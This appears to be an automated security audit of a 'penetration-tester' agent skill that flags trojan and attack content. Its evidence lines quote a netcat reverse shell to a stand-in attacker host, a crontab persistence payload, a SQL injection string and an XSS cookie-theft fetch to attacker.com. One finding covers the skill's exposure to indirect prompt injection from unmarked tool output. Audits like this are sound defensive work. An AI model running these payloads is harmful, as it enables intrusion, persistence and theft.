The Agent Skills Directory

[COMMAND_EXECUTION]: The file references/attack_vectors.md contains functional reverse shell commands and has been identified as a trojan by file reputation scanners.
Evidence: Found nc -e /bin/sh attacker_ip 4444 and hex-encoded shellcode in references/attack_vectors.md.
Evidence: Automated scan reported references/attack_vectors.md as FileRepMalware [Trj].
[PERSISTENCE]: The skill documentation provides instructions for maintaining long-term access to a compromised system through automated tasks.
Evidence: references/attack_vectors.md includes a payload to add a reverse shell to the system crontab: echo "* * * * * root /bin/bash -c 'nc -e /bin/sh attacker_ip 4444'" >> /etc/crontab.
[PRIVILEGE_ESCALATION]: The skill includes reference material and workflows for escalating privileges on various platforms, including cloud environments.
Evidence: references/attack_vectors.md describes methods for exploiting SUID binaries and provides a proof-of-concept for the Dirty Cow kernel exploit (40839.c).
Evidence: SKILL.md describes cloud privilege escalation using iam:PassRole to gain administrative access via EC2 instances.
[DATA_EXFILTRATION]: The skill provides examples of payloads used to extract sensitive data from targets via various vulnerabilities.
Evidence: references/attack_vectors.md includes SQL injection payloads for database enumeration and extraction (' UNION SELECT username, password FROM users --).
Evidence: references/attack_vectors.md includes XSS payloads for cookie theft using fetch('http://attacker.com?c='+document.cookie).
[COMMAND_EXECUTION]: Multiple scripts execute external system binaries using user-provided input, which could be abused if inputs are not properly validated.
Evidence: scripts/recon_scan.py, scripts/auth_test.py, scripts/sql_injection_test.py, scripts/web_app_test.py, scripts/xss_test.py, and scripts/vuln_scan.py all use subprocess.run to call tools like nmap, hydra, sqlmap, and gobuster.
[INDIRECT_PROMPT_INJECTION]: The skill processes data from external tool outputs without sufficient validation or boundary markers, making it vulnerable to indirect prompt injection from compromised targets.
Evidence: Ingestion points: scripts/web_app_test.py (reads zap_report.json), scripts/recon_scan.py (reads whatweb.json), scripts/vuln_scan.py (reads vuln.xml).
Evidence: Boundary markers: None identified in the prompt interpolation logic within the provided files.
Evidence: Capability inventory: Extensive command execution capabilities via subprocess.run across multiple scripts.
Evidence: Sanitization: No significant sanitization or validation is performed on the tool outputs before they are processed by the agent.
[REMOTE_CODE_EXECUTION]: The skill references the download and execution of external exploit code from remote sources.
Evidence: references/attack_vectors.md provides commands to download and compile an exploit from exploit-db.com using wget and gcc.
[EXTERNAL_DOWNLOADS]: The skill includes a guide for installing numerous third-party security tools from various remote sources.
Evidence: references/tool_setup.md provides instructions for fetching scripts and packages from Homebrew, Chocolatey, and various GitHub repositories.

penetration-tester